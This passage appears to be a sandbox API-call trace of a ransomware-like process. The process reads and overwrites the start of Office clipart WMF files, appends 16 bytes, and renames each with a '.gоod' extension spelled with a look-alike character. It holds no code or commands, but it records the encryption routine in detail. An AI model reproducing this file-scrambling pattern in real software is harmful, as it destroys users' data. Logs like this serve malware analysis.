nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x366a2a0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0180.953] CloseHandle (hObject=0x824) returned 1 [0180.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFilePart=0x0) returned 0x44 [0180.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0180.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0180.953] GetFileType (hFile=0x824) returned 0x1 [0180.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0180.953] GetFileType (hFile=0x824) returned 0x1 [0180.953] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x7114 [0180.953] WriteFile (in: hFile=0x824, lpBuffer=0x355eb98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x355eb98*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0181.076] CloseHandle (hObject=0x824) returned 1 [0181.076] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFilePart=0x0) returned 0x44 [0181.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.077] GetFileType (hFile=0x824) returned 0x1 [0181.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.077] GetFileType (hFile=0x824) returned 0x1 [0181.077] ReadFile (in: hFile=0x824, lpBuffer=0x35b0df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35b0df0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0181.105] CloseHandle (hObject=0x824) returned 1 [0181.105] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFilePart=0x0) returned 0x44 [0181.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.105] GetFileType (hFile=0x824) returned 0x1 [0181.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.105] GetFileType (hFile=0x824) returned 0x1 [0181.105] WriteFile (in: hFile=0x824, lpBuffer=0x35afb48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35afb48*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0181.106] CloseHandle (hObject=0x824) returned 1 [0181.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFilePart=0x0) returned 0x44 [0181.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0181.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0181.106] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68281053, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7124)) returned 1 [0181.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0181.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.gоod")) returned 1 [0181.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFilePart=0x0) returned 0x44 [0181.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0181.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x362e2b8 | out: lpFileInformation=0x362e2b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74)) returned 1 [0181.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0181.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFilePart=0x0) returned 0x44 [0181.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.109] GetFileType (hFile=0x824) returned 0x1 [0181.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.109] GetFileType (hFile=0x824) returned 0x1 [0181.109] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0181.109] ReadFile (in: hFile=0x824, lpBuffer=0x362e6d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x362e6d0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0181.167] CloseHandle (hObject=0x824) returned 1 [0181.687] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFilePart=0x0) returned 0x44 [0181.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0181.688] GetFileType (hFile=0x768) returned 0x1 [0181.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.688] GetFileType (hFile=0x768) returned 0x1 [0181.688] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2d74 [0181.688] WriteFile (in: hFile=0x768, lpBuffer=0x3622f48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3622f48*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0181.689] CloseHandle (hObject=0x768) returned 1 [0181.689] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFilePart=0x0) returned 0x44 [0181.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0181.689] GetFileType (hFile=0x768) returned 0x1 [0181.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.689] GetFileType (hFile=0x768) returned 0x1 [0181.689] ReadFile (in: hFile=0x768, lpBuffer=0x36252a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36252a8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0181.716] CloseHandle (hObject=0x768) returned 1 [0181.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFilePart=0x0) returned 0x44 [0181.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0181.716] GetFileType (hFile=0x768) returned 0x1 [0181.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.717] GetFileType (hFile=0x768) returned 0x1 [0181.717] WriteFile (in: hFile=0x768, lpBuffer=0x3624000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3624000*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0181.717] CloseHandle (hObject=0x768) returned 1 [0181.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFilePart=0x0) returned 0x44 [0181.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0181.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0181.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68876f7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d84)) returned 1 [0181.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0181.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.gоod")) returned 1 [0181.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFilePart=0x0) returned 0x44 [0181.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0181.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x36a18e0 | out: lpFileInformation=0x36a18e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4)) returned 1 [0181.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0181.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFilePart=0x0) returned 0x44 [0181.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0181.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0181.719] GetFileType (hFile=0x768) returned 0x1 [0181.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0181.719] GetFileType (hFile=0x768) returned 0x1 [0181.719] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0181.719] ReadFile (in: hFile=0x768, lpBuffer=0x36a1cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36a1cf8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0182.050] CloseHandle (hObject=0x768) returned 1 [0182.050] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFilePart=0x0) returned 0x44 [0182.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.053] GetFileType (hFile=0x768) returned 0x1 [0182.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.053] GetFileType (hFile=0x768) returned 0x1 [0182.053] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x57f4 [0182.082] WriteFile (in: hFile=0x768, lpBuffer=0x367f2d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x367f2d0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0182.082] CloseHandle (hObject=0x768) returned 1 [0182.083] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFilePart=0x0) returned 0x44 [0182.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.083] GetFileType (hFile=0x768) returned 0x1 [0182.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.083] GetFileType (hFile=0x768) returned 0x1 [0182.083] ReadFile (in: hFile=0x768, lpBuffer=0x3681590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3681590*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0182.152] CloseHandle (hObject=0x768) returned 1 [0182.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFilePart=0x0) returned 0x44 [0182.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0182.152] GetFileType (hFile=0x768) returned 0x1 [0182.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.152] GetFileType (hFile=0x768) returned 0x1 [0182.152] WriteFile (in: hFile=0x768, lpBuffer=0x36802e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36802e8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0182.152] CloseHandle (hObject=0x768) returned 1 [0182.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFilePart=0x0) returned 0x44 [0182.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0182.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0182.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68c7d020, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5804)) returned 1 [0182.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0182.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.gоod")) returned 1 [0182.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFilePart=0x0) returned 0x44 [0182.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0182.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35bd750 | out: lpFileInformation=0x35bd750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34)) returned 1 [0182.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0182.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFilePart=0x0) returned 0x44 [0182.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.778] GetFileType (hFile=0x6e0) returned 0x1 [0182.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.778] GetFileType (hFile=0x6e0) returned 0x1 [0182.778] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0182.778] ReadFile (in: hFile=0x6e0, lpBuffer=0x35bdb68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x35bdb68*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0182.779] CloseHandle (hObject=0x6e0) returned 1 [0182.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFilePart=0x0) returned 0x44 [0182.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 